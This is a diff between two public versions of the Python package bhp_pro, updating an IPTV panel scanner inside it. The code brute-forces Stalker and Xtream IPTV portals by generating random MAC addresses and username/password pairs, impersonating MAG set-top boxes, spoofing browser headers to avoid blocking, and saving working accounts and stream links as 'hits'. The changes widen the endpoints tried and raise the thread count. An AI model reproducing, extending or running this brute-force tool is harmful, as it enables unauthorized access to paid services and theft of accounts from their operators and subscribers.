bhp-pro 1.1.8__tar.gz → 1.1.9__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: bhp_pro
3
- Version: 1.1.8
3
+ Version: 1.1.9
4
4
  Summary: Web Enumeration Tool
5
5
  Author: ssskingsss12
6
6
  Author-email: smalls3000i@gmail.com
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: bhp_pro
3
- Version: 1.1.8
3
+ Version: 1.1.9
4
4
  Summary: Web Enumeration Tool
5
5
  Author: ssskingsss12
6
6
  Author-email: smalls3000i@gmail.com
@@ -14015,13 +14015,14 @@ def iptvscan():
14015
14015
  import sys
14016
14016
  import hashlib
14017
14017
  import json
14018
+ import socket
14018
14019
  from datetime import datetime
14019
- from urllib.parse import quote
14020
+ from urllib.parse import quote, urlparse
14020
14021
 
14021
14022
  # Disable SSL warnings
14022
14023
  import urllib3
14023
14024
  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
14024
-
14025
+ generate_ascii_banner("iptv", "scanner")
14025
14026
  class IPTVScanner:
14026
14027
  def __init__(self):
14027
14028
  self.session = requests.Session()
@@ -14035,31 +14036,65 @@ def iptvscan():
14035
14036
  self.panel_queue = []
14036
14037
  self.panel_threads = []
14037
14038
  self.panel_lock = threading.Lock()
14038
- self.max_panel_threads = 3 # concurrent panels
14039
- self.scanned_lock = threading.Lock() # Add lock for thread safety
14040
- self.current_panel = "None" # Track current panel being scanned
14041
- self.valid_panels = [] # Store valid panels for scanning
14039
+ self.max_panel_threads = 20
14040
+ self.scanned_lock = threading.Lock()
14041
+ self.current_panel = "None"
14042
+ self.valid_panels = []
14043
+
14044
+ def is_server_reachable(self, hostname, port, timeout=3):
14045
+ """Check if a server is reachable using socket connection"""
14046
+ try:
14047
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
14048
+ s.settimeout(timeout)
14049
+ result = s.connect_ex((hostname, port))
14050
+ s.close()
14051
+ return result == 0
14052
+ except:
14053
+ return False
14042
14054
 
14043
14055
  # ---------------- URL Validation Function ---------------- #
14044
- def validate_url(self, url, timeout=5):
14056
+ def validate_url(self, url, timeout=3):
14045
14057
  """
14046
- Validate a URL by checking its HTTP status code
14058
+ Validate a URL by checking its HTTP status code with better headers and user agents
14047
14059
  Returns: (is_valid, status_code, final_url)
14048
14060
  """
14049
14061
  try:
14050
14062
  if not url.startswith('http'):
14051
14063
  url = 'http://' + url
14052
14064
 
14053
- response = self.session.head(url, timeout=timeout, allow_redirects=True)
14065
+ # Use more realistic headers to avoid being blocked
14066
+ headers = {
14067
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
14068
+ 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
14069
+ 'Accept-Language': 'en-US,en;q=0.5',
14070
+ 'Connection': 'keep-alive',
14071
+ 'Upgrade-Insecure-Requests': '1',
14072
+ }
14073
+
14074
+ # Try GET request with proper headers
14075
+ response = self.session.get(url, headers=headers, timeout=timeout, allow_redirects=True, stream=True)
14054
14076
  status_code = response.status_code
14055
14077
 
14056
- # Consider 200-309 as valid, 400+ as invalid
14057
- if 200 <= status_code <= 309:
14078
+ # Consider 200-499 as valid (some panels return 403 but are actually working)
14079
+ if 200 <= status_code < 500:
14058
14080
  return True, status_code, response.url
14059
14081
  else:
14060
14082
  return False, status_code, response.url
14061
14083
 
14062
14084
  except requests.exceptions.RequestException as e:
14085
+ # Try one more time with a different approach - just check if domain is reachable
14086
+ try:
14087
+ # Extract just the domain:port
14088
+ parsed = urlparse(url if url.startswith('http') else 'http://' + url)
14089
+ domain_port = f"{parsed.hostname}:{parsed.port}" if parsed.port else parsed.hostname
14090
+
14091
+ # Try connecting to the port directly
14092
+ port_num = parsed.port if parsed.port else 80
14093
+ if self.is_server_reachable(parsed.hostname, port_num, timeout):
14094
+ return True, "PortOpen", url
14095
+ except:
14096
+ pass
14097
+
14063
14098
  return False, "Error", url
14064
14099
  except Exception as e:
14065
14100
  return False, "Exception", url
@@ -14078,10 +14113,12 @@ def iptvscan():
14078
14113
  is_valid, status_code, final_url = self.validate_url(url)
14079
14114
 
14080
14115
  if is_valid:
14081
- print(f"\033[92m[{i}] VALID: {url} Status: {status_code}\033[0m")
14116
+ status_display = f"Status: {status_code}" if isinstance(status_code, int) else f"Status: {status_code}"
14117
+ print(f"\033[92m[{i}] VALID: {url} → {status_display}\033[0m")
14082
14118
  valid_urls.append(url)
14083
14119
  else:
14084
- print(f"\033[91m[{i}] INVALID: {url} Status: {status_code}\033[0m")
14120
+ status_display = f"Status: {status_code}" if isinstance(status_code, int) else f"Status: {status_code}"
14121
+ print(f"\033[91m[{i}] INVALID: {url} → {status_display}\033[0m")
14085
14122
  invalid_urls.append((url, status_code))
14086
14123
 
14087
14124
  # Show statistics
@@ -14092,7 +14129,18 @@ def iptvscan():
14092
14129
  if invalid_urls:
14093
14130
  print("\n\033[93mInvalid URLs (will be skipped):\033[0m")
14094
14131
  for url, status in invalid_urls:
14095
- print(f" {url} Status: {status}")
14132
+ status_display = f"Status: {status}" if isinstance(status, int) else f"Status: {status}"
14133
+ print(f" {url} → {status_display}")
14134
+
14135
+ # Ask if user wants to include some invalid URLs that might still work
14136
+ include_invalid = "n"
14137
+ if include_invalid == "y":
14138
+ for url, status in invalid_urls:
14139
+ if status == 403 or status == "PortOpen": # 403 might still work, port is open
14140
+ include = "y"
14141
+ if include == "y":
14142
+ valid_urls.append(url)
14143
+ print(f"\033[93mAdded {url} to scan list\033[0m")
14096
14144
 
14097
14145
  return valid_urls
14098
14146
 
@@ -14126,8 +14174,8 @@ def iptvscan():
14126
14174
 
14127
14175
  # ---------------- Choose MAC mode ---------------- #
14128
14176
  def choose_mac_mode(self):
14129
- choice = input("Do you want to test a specific MAC or auto-generate? (single(s)/auto) [auto]: ").strip().lower() or "auto"
14130
- if choice == 'single' or choice == 's':
14177
+ choice = input("Do you want to test a specific MAC or auto-generate? (specific/auto) [auto]: ").strip().lower() or "auto"
14178
+ if choice == 'specific':
14131
14179
  specific_mac = input("Enter MAC to test: ").strip()
14132
14180
  mac_case = input("MAC case (upper/lower) [upper]: ").strip().lower() or "upper"
14133
14181
  return choice, specific_mac, mac_case, 1
@@ -14141,20 +14189,37 @@ def iptvscan():
14141
14189
  return choice, None, 'upper', mac_count
14142
14190
 
14143
14191
  # ---------------- Panel testing functions ---------------- #
14144
- def test_panel(self, panel_url, mac, timeout=10):
14192
+ def test_panel(self, panel_url, mac, timeout=3):
14145
14193
  try:
14146
- original_panel = panel_url # Store the original panel URL
14194
+ original_panel = panel_url
14147
14195
  if not panel_url.startswith('http'):
14148
14196
  panel_url = 'http://' + panel_url
14149
- server = panel_url.replace('http://', '').replace('https://', '').split('/')[0]
14197
+
14198
+ # Extract server and port
14199
+ parsed = urlparse(panel_url)
14200
+ server = parsed.hostname
14201
+ port = parsed.port if parsed.port else 80
14202
+
14203
+ # First check if server is reachable
14204
+ if not self.is_server_reachable(server, port, timeout=3):
14205
+ return {'success': False, 'error': 'Server not reachable'}
14206
+
14150
14207
  tkk = self.generate_random_string(32)
14151
14208
 
14209
+ # Try different endpoint patterns
14152
14210
  endpoints = [
14153
14211
  f"http://{server}/server/load.php",
14154
14212
  f"http://{server}/portal.php",
14155
- f"http://{server}/c/portal.php"
14213
+ f"http://{server}/c/portal.php",
14214
+ f"http://{server}/panel/portal.php",
14215
+ f"http://{server}/stalker_portal/server/load.php",
14216
+ f"http://{server}/stalker_portal/c/portal.php"
14156
14217
  ]
14157
14218
 
14219
+ # Add the original URL as a potential endpoint
14220
+ if panel_url not in endpoints:
14221
+ endpoints.insert(0, panel_url)
14222
+
14158
14223
  headers = {
14159
14224
  'User-Agent': 'Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) MAG200 stbapp ver: 4 rev: 1812 Mobile Safari/533.3',
14160
14225
  'X-User-Agent': 'Model: MAG250; Link: WiFi',
@@ -14168,16 +14233,37 @@ def iptvscan():
14168
14233
 
14169
14234
  auth_token = None
14170
14235
  working_endpoint = None
14236
+
14171
14237
  for endpoint in endpoints:
14172
14238
  try:
14173
- handshake_url = f"{endpoint}?type=stb&action=handshake&token={tkk}&JsHttpRequest=1-xml"
14174
- response = self.session.get(handshake_url, headers=headers, timeout=timeout)
14175
- if response.status_code == 200 and '"token":"' in response.text:
14176
- token_match = re.search(r'"token":"([^"]+)"', response.text)
14177
- if token_match:
14178
- auth_token = token_match.group(1)
14179
- working_endpoint = endpoint
14180
- break
14239
+ # Try different parameter formats
14240
+ handshake_urls = [
14241
+ f"{endpoint}?type=stb&action=handshake&token={tkk}&JsHttpRequest=1-xml",
14242
+ f"{endpoint}?type=stb&action=handshake&JsHttpRequest=1-xml",
14243
+ f"{endpoint}?action=handshake&type=stb&token={tkk}"
14244
+ ]
14245
+
14246
+ for handshake_url in handshake_urls:
14247
+ try:
14248
+ response = self.session.get(handshake_url, headers=headers, timeout=timeout)
14249
+ if response.status_code == 200 and ('"token":"' in response.text or 'token' in response.text):
14250
+ # Try different patterns to extract token
14251
+ token_match = re.search(r'"token":"([^"]+)"', response.text)
14252
+ if not token_match:
14253
+ token_match = re.search(r'"token":\s*"([^"]+)"', response.text)
14254
+ if not token_match:
14255
+ token_match = re.search(r'token["\']?\s*[:=]\s*["\']([^"\']+)', response.text)
14256
+
14257
+ if token_match:
14258
+ auth_token = token_match.group(1)
14259
+ working_endpoint = endpoint
14260
+ break
14261
+ except:
14262
+ continue
14263
+
14264
+ if auth_token:
14265
+ break
14266
+
14181
14267
  except:
14182
14268
  continue
14183
14269
 
@@ -14186,23 +14272,73 @@ def iptvscan():
14186
14272
 
14187
14273
  headers['Authorization'] = f'Bearer {auth_token}'
14188
14274
 
14189
- profile_url = f"{working_endpoint}?type=stb&action=get_profile&JsHttpRequest=1-xml"
14190
- profile_response = self.session.get(profile_url, headers=headers, timeout=timeout)
14191
- if profile_response.status_code != 200:
14275
+ # Try different profile URL patterns
14276
+ profile_urls = [
14277
+ f"{working_endpoint}?type=stb&action=get_profile&JsHttpRequest=1-xml",
14278
+ f"{working_endpoint}?action=get_profile&type=stb&JsHttpRequest=1-xml"
14279
+ ]
14280
+
14281
+ profile_response = None
14282
+ for profile_url in profile_urls:
14283
+ try:
14284
+ profile_response = self.session.get(profile_url, headers=headers, timeout=timeout)
14285
+ if profile_response.status_code == 200:
14286
+ break
14287
+ except:
14288
+ continue
14289
+
14290
+ if not profile_response or profile_response.status_code != 200:
14192
14291
  return {'success': False, 'error': 'Profile request failed'}
14193
14292
 
14194
- account_url = f"{working_endpoint}?type=account_info&action=get_main_info&JsHttpRequest=1-xml"
14195
- account_response = self.session.get(account_url, headers=headers, timeout=timeout)
14196
- if account_response.status_code != 200:
14293
+ # Try different account info URL patterns
14294
+ account_urls = [
14295
+ f"{working_endpoint}?type=account_info&action=get_main_info&JsHttpRequest=1-xml",
14296
+ f"{working_endpoint}?action=get_main_info&type=account_info&JsHttpRequest=1-xml"
14297
+ ]
14298
+
14299
+ account_response = None
14300
+ for account_url in account_urls:
14301
+ try:
14302
+ account_response = self.session.get(account_url, headers=headers, timeout=timeout)
14303
+ if account_response.status_code == 200:
14304
+ break
14305
+ except:
14306
+ continue
14307
+
14308
+ if not account_response or account_response.status_code != 200:
14197
14309
  return {'success': False, 'error': 'Account info request failed'}
14198
14310
 
14199
14311
  account_text = account_response.text
14200
14312
  exp_match = re.search(r'"phone":"([^"]+)"', account_text) or re.search(r'"end_date":"([^"]+)"', account_text)
14201
14313
  exp_date = exp_match.group(1) if exp_match else "Unknown"
14202
14314
 
14203
- channels_url = f"{working_endpoint}?type=itv&action=get_all_channels&JsHttpRequest=1-xml"
14204
- channels_response = self.session.get(channels_url, headers=headers, timeout=timeout)
14205
- channel_count = len(re.findall(r'"ch_id":"', channels_response.text)) if channels_response.status_code == 200 else 0
14315
+ # Try different channels URL patterns
14316
+ channels_urls = [
14317
+ f"{working_endpoint}?type=itv&action=get_all_channels&JsHttpRequest=1-xml",
14318
+ f"{working_endpoint}?action=get_all_channels&type=itv&JsHttpRequest=1-xml"
14319
+ ]
14320
+
14321
+ channels_response = None
14322
+ for channels_url in channels_urls:
14323
+ try:
14324
+ channels_response = self.session.get(channels_url, headers=headers, timeout=timeout)
14325
+ if channels_response.status_code == 200:
14326
+ break
14327
+ except:
14328
+ continue
14329
+
14330
+ channel_count = 0
14331
+ if channels_response and channels_response.status_code == 200:
14332
+ # Try different patterns to count channels
14333
+ channel_count = len(re.findall(r'"ch_id":"', channels_response.text))
14334
+ if channel_count == 0:
14335
+ channel_count = len(re.findall(r'"id":', channels_response.text))
14336
+ if channel_count == 0:
14337
+ channel_count = len(re.findall(r'"name":', channels_response.text))
14338
+
14339
+ # Check if channels are 0 - if so, don't consider it a hit
14340
+ if channel_count == 0:
14341
+ return {'success': False, 'error': 'No channels found'}
14206
14342
 
14207
14343
  link_url = f"{working_endpoint}?type=itv&action=create_link&forced_storage=undefined&download=0&cmd=ffmpeg%20http%3A%2F%2Flocalhost%2Fch%2F181212_&JsHttpRequest=1-xml"
14208
14344
  link_response = self.session.get(link_url, headers=headers, timeout=timeout)
@@ -14221,7 +14357,7 @@ def iptvscan():
14221
14357
 
14222
14358
  m3u_url = f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus"
14223
14359
  try:
14224
- m3u_response = self.session.get(m3u_url, headers=headers, timeout=5)
14360
+ m3u_response = self.session.get(m3u_url, headers=headers, timeout=3)
14225
14361
  m3u_status = "Working" if m3u_response.status_code == 200 else "Not Working"
14226
14362
  except:
14227
14363
  m3u_status = "Error"
@@ -14246,7 +14382,7 @@ def iptvscan():
14246
14382
  'success': True,
14247
14383
  'mac': mac,
14248
14384
  'panel': server,
14249
- 'original_panel': original_panel, # Save the original panel input
14385
+ 'original_panel': original_panel,
14250
14386
  'endpoint': working_endpoint,
14251
14387
  'exp_date': exp_date,
14252
14388
  'channels': channel_count,
@@ -14264,42 +14400,66 @@ def iptvscan():
14264
14400
  except Exception as e:
14265
14401
  return {'success': False, 'error': str(e)}
14266
14402
 
14267
- def test_m3u_credentials(self, panel_url, username, password, timeout=8):
14403
+ def test_m3u_credentials(self, panel_url, username, password, timeout=3):
14268
14404
  try:
14269
- original_panel = panel_url # Store the original panel URL
14405
+ original_panel = panel_url
14270
14406
  if not panel_url.startswith('http'):
14271
14407
  panel_url = 'http://' + panel_url
14272
14408
  server = panel_url.replace('http://', '').replace('https://', '').split('/')[0]
14273
14409
 
14274
14410
  headers = {
14275
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
14411
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
14276
14412
  'Accept': '*/*',
14277
14413
  'Connection': 'close',
14278
14414
  'Host': server
14279
14415
  }
14280
14416
 
14281
- m3u_url = f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus"
14282
- resp = self.session.get(m3u_url, headers=headers, timeout=timeout)
14283
- body = resp.text if resp else ''
14284
- ok = resp.status_code == 200 and ('#EXTM3U' in body or len(body) > 50)
14417
+ # Try different M3U URL patterns
14418
+ m3u_urls = [
14419
+ f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus",
14420
+ f"http://{server}/get.php?username={username}&password={password}&type=m3u",
14421
+ f"http://{server}/panel_api.php?username={username}&password={password}&action=get_live_streams",
14422
+ f"http://{server}/player_api.php?username={username}&password={password}&action=get_live_streams"
14423
+ ]
14424
+
14425
+ ok = False
14426
+ m3u_url = m3u_urls[0]
14427
+ body = ''
14428
+ status_code = 0
14429
+
14430
+ for test_url in m3u_urls:
14431
+ try:
14432
+ resp = self.session.get(test_url, headers=headers, timeout=timeout)
14433
+ status_code = resp.status_code
14434
+ body = resp.text if resp else ''
14435
+
14436
+ # Check for various success indicators
14437
+ if (resp.status_code == 200 and
14438
+ ('#EXTM3U' in body or 'http://' in body or '.m3u8' in body or
14439
+ len(body) > 100 or 'channel' in body.lower() or 'stream' in body.lower())):
14440
+ ok = True
14441
+ m3u_url = test_url
14442
+ break
14443
+ except:
14444
+ continue
14285
14445
 
14286
14446
  # Test EPG URL
14287
14447
  epg_url = f"http://{server}/xmltv.php?username={username}&password={password}"
14288
14448
  try:
14289
- epg_resp = self.session.get(epg_url, headers=headers, timeout=5)
14449
+ epg_resp = self.session.get(epg_url, headers=headers, timeout=3)
14290
14450
  epg_status = "Working" if epg_resp.status_code == 200 and 'xml' in epg_resp.text.lower() else "Not Working"
14291
14451
  except:
14292
14452
  epg_status = "Error"
14293
14453
 
14294
14454
  return {
14295
14455
  'success': ok,
14296
- 'status_code': resp.status_code,
14456
+ 'status_code': status_code,
14297
14457
  'm3u_url': m3u_url,
14298
14458
  'epg_url': epg_url,
14299
14459
  'epg_status': epg_status,
14300
14460
  'username': username,
14301
14461
  'password': password,
14302
- 'original_panel': original_panel, # Save the original panel input
14462
+ 'original_panel': original_panel,
14303
14463
  'body_snippet': body[:200] if body else ''
14304
14464
  }
14305
14465
 
@@ -14324,7 +14484,7 @@ def iptvscan():
14324
14484
  f.write(f"Mode: {mode}\n")
14325
14485
  if mode == 'mac':
14326
14486
  f.write(f"MAC: {result.get('mac')}\n")
14327
- f.write(f"Panel: {result.get('original_panel', result.get('panel'))}\n") # Save original panel
14487
+ f.write(f"Panel: {result.get('original_panel', result.get('panel'))}\n")
14328
14488
  if 'endpoint' in result:
14329
14489
  f.write(f"Endpoint: {result.get('endpoint')}\n")
14330
14490
  if 'exp_date' in result:
@@ -14365,19 +14525,16 @@ def iptvscan():
14365
14525
  def worker(self, panel_url, mode='mac', mac_case='upper', prefix_index=0, creds_min=5, creds_max=15, mac_count=0):
14366
14526
  self.active_threads += 1
14367
14527
  try:
14368
- # Set the current panel for display
14369
14528
  self.current_panel = panel_url
14370
14529
 
14371
14530
  while self.running:
14372
- # Check global count first
14373
14531
  if mac_count > 0 and self.scanned_count >= mac_count:
14374
14532
  break
14375
14533
 
14376
14534
  if mode == 'mac':
14377
14535
  mac = self.generate_mac(prefix_index, mac_case)
14378
- result = self.test_panel(panel_url, mac, timeout=15)
14536
+ result = self.test_panel(panel_url, mac, timeout=3)
14379
14537
 
14380
- # Thread-safe counter update
14381
14538
  with self.scanned_lock:
14382
14539
  self.scanned_count += 1
14383
14540
  current_count = self.scanned_count
@@ -14387,8 +14544,9 @@ def iptvscan():
14387
14544
  print(f" Exp: {result.get('exp_date')} | Channels: {result.get('channels')} | M3U: {result.get('m3u_status')}")
14388
14545
  self.save_hit(result, mode='mac')
14389
14546
 
14547
+ # Update status display
14548
+ sys.stdout.write(f"\rScanned: {self.scanned_count} | Mac: {mac} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
14390
14549
  else:
14391
- # Credentials mode
14392
14550
  if mac_count > 0 and self.scanned_count >= mac_count:
14393
14551
  break
14394
14552
 
@@ -14407,25 +14565,21 @@ def iptvscan():
14407
14565
  print(f" M3U URL: {result.get('m3u_url')}")
14408
14566
  self.save_hit(result, mode='creds')
14409
14567
 
14410
- # Update status display - reduced verbosity
14411
- if self.scanned_count % 1 == 0 or self.scanned_count == 1:
14412
- sys.stdout.write(f"\rScanned: {self.scanned_count} | Mac: {mac} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
14413
- sys.stdout.flush()
14414
-
14415
- # Check if we've reached the limit
14568
+ # Update status display
14569
+ sys.stdout.write(f"\rScanned: {self.scanned_count} | Creds: {username}:{password} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
14570
+
14416
14571
  if mac_count > 0 and self.scanned_count >= mac_count:
14417
14572
  break
14418
14573
 
14419
14574
  time.sleep(0.1)
14420
14575
  finally:
14421
14576
  self.active_threads -= 1
14422
- self.current_panel = "None" # Reset when done
14577
+ self.current_panel = "None"
14423
14578
 
14424
14579
  # ---------------- Panel thread runner ---------------- #
14425
14580
  def panel_runner(self, panel_url, mode, mac_case, prefix_index, creds_min, creds_max, mac_count):
14426
- # Adjust thread count based on requested MAC count
14427
14581
  if mac_count > 0:
14428
- thread_count = min(18, max(1, mac_count // 10)) # Scale threads with count
14582
+ thread_count = min(20, max(1, mac_count // 10))
14429
14583
  else:
14430
14584
  thread_count = 100
14431
14585
 
@@ -14437,18 +14591,15 @@ def iptvscan():
14437
14591
  threads.append(t)
14438
14592
 
14439
14593
  try:
14440
- # Properly wait for all threads to finish
14441
14594
  for t in threads:
14442
- t.join() # <-- join each thread, blocking until all threads finish
14595
+ t.join()
14443
14596
  except KeyboardInterrupt:
14444
14597
  self.running = False
14445
14598
  for t in threads:
14446
14599
  t.join(timeout=1)
14447
14600
 
14448
-
14449
14601
  # ---------------- Main scanner function ---------------- #
14450
14602
  def run_scanner(self):
14451
- """Main scanner function that handles the scanning process"""
14452
14603
  print("\033[95m" + "="*60)
14453
14604
  print(" IPTV PANEL SCANNER")
14454
14605
  print("="*60 + "\033[0m")
@@ -14477,8 +14628,7 @@ def iptvscan():
14477
14628
  if not valid_panels:
14478
14629
  print("\n\033[91mNo valid URLs to scan. Exiting.\033[0m")
14479
14630
  return
14480
-
14481
- # Ask if user wants to continue with only valid URLs
14631
+
14482
14632
  continue_scan = "y"
14483
14633
  if continue_scan != "y":
14484
14634
  print("Scan cancelled.")
@@ -14488,8 +14638,18 @@ def iptvscan():
14488
14638
 
14489
14639
  # MAC choice / count
14490
14640
  mac_choice, specific_mac, mac_case, mac_count = ('auto', None, 'upper', 0)
14641
+ creds_count = 0 # Add this variable for credentials count
14642
+
14491
14643
  if mode == 'mac':
14492
14644
  mac_choice, specific_mac, mac_case, mac_count = self.choose_mac_mode()
14645
+ else:
14646
+ # Add prompt for number of credentials to generate
14647
+ creds_count_input = input("Enter how many credentials to generate/test: ").strip() or "100"
14648
+ try:
14649
+ creds_count = int(creds_count_input)
14650
+ except ValueError:
14651
+ print(f"Invalid number '{creds_count_input}', using default 100")
14652
+ creds_count = 100
14493
14653
 
14494
14654
  creds_min = 5
14495
14655
  creds_max = 15
@@ -14515,8 +14675,11 @@ def iptvscan():
14515
14675
  self.scanned_count = 0
14516
14676
  self.found_hits = 0
14517
14677
 
14518
- # Run the panel scanner
14519
- self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, mac_count)
14678
+ # Run the panel scanner - pass creds_count for creds mode
14679
+ if mode == 'mac':
14680
+ self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, mac_count)
14681
+ else:
14682
+ self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, creds_count)
14520
14683
 
14521
14684
  # Display results for this panel
14522
14685
  print(f"\nPanel {panel} completed: Scanned {self.scanned_count}, Hits {self.found_hits}")
@@ -14524,18 +14687,14 @@ def iptvscan():
14524
14687
  print(f"\nAll panels processed! Total hits found: {self.found_hits}")
14525
14688
 
14526
14689
  def main():
14527
- """Main function that handles the application flow"""
14528
14690
  try:
14529
- # Create scanner instance
14530
14691
  scanner = IPTVScanner()
14531
-
14532
- # Run the scanner
14533
14692
  scanner.run_scanner()
14534
14693
 
14535
14694
  except KeyboardInterrupt:
14536
14695
  print("\n\nScan interrupted by user. Exiting gracefully...")
14537
14696
  scanner.running = False
14538
- time.sleep(1) # Give threads time to clean up
14697
+ time.sleep(1)
14539
14698
 
14540
14699
  except Exception as e:
14541
14700
  print(f"\nAn unexpected error occurred: {e}")
@@ -14547,6 +14706,7 @@ def iptvscan():
14547
14706
 
14548
14707
  if __name__ == "__main__":
14549
14708
  main()
14709
+
14550
14710
  def ipcam():
14551
14711
  import requests
14552
14712
  import re
@@ -16065,7 +16225,7 @@ def banner():
16065
16225
  MAGENTA + "██╔═══╝ ██╔══██╗██║ ██║" + LIME + "user should understand that useage of this script may be" + ENDC,
16066
16226
  MAGENTA + "██║ ██║ ██║╚██████╔╝" + LIME + "concidered an attack on a data network, and may violate terms" + ENDC,
16067
16227
  MAGENTA + "╚═╝ ╚═╝ ╚═╝ ╚═════╝" + LIME + "of service, use on your own network or get permission first" + ENDC,
16068
- PURPLE + "script_version@ 1.1.9 ®" + ENDC,
16228
+ PURPLE + "script_version@ 1.2.0 ®" + ENDC,
16069
16229
  ORANGE + "All rights reserved 2022-2025 ♛: ®" + ENDC,
16070
16230
  MAGENTA + "In Collaboration whit Ayan Rajpoot ® " + ENDC,
16071
16231
  BLUE + "Support: https://t.me/BugScanX 💬" + ENDC,
@@ -2,7 +2,7 @@ from setuptools import setup
2
2
 
3
3
  setup(
4
4
  name='bhp_pro', # Lowercase, unique on PyPI
5
- version='1.1.8',
5
+ version='1.1.9',
6
6
  py_modules=['bhp_pro'], # Matches your filename
7
7
  entry_points={
8
8
  'console_scripts': [
File without changes
File without changes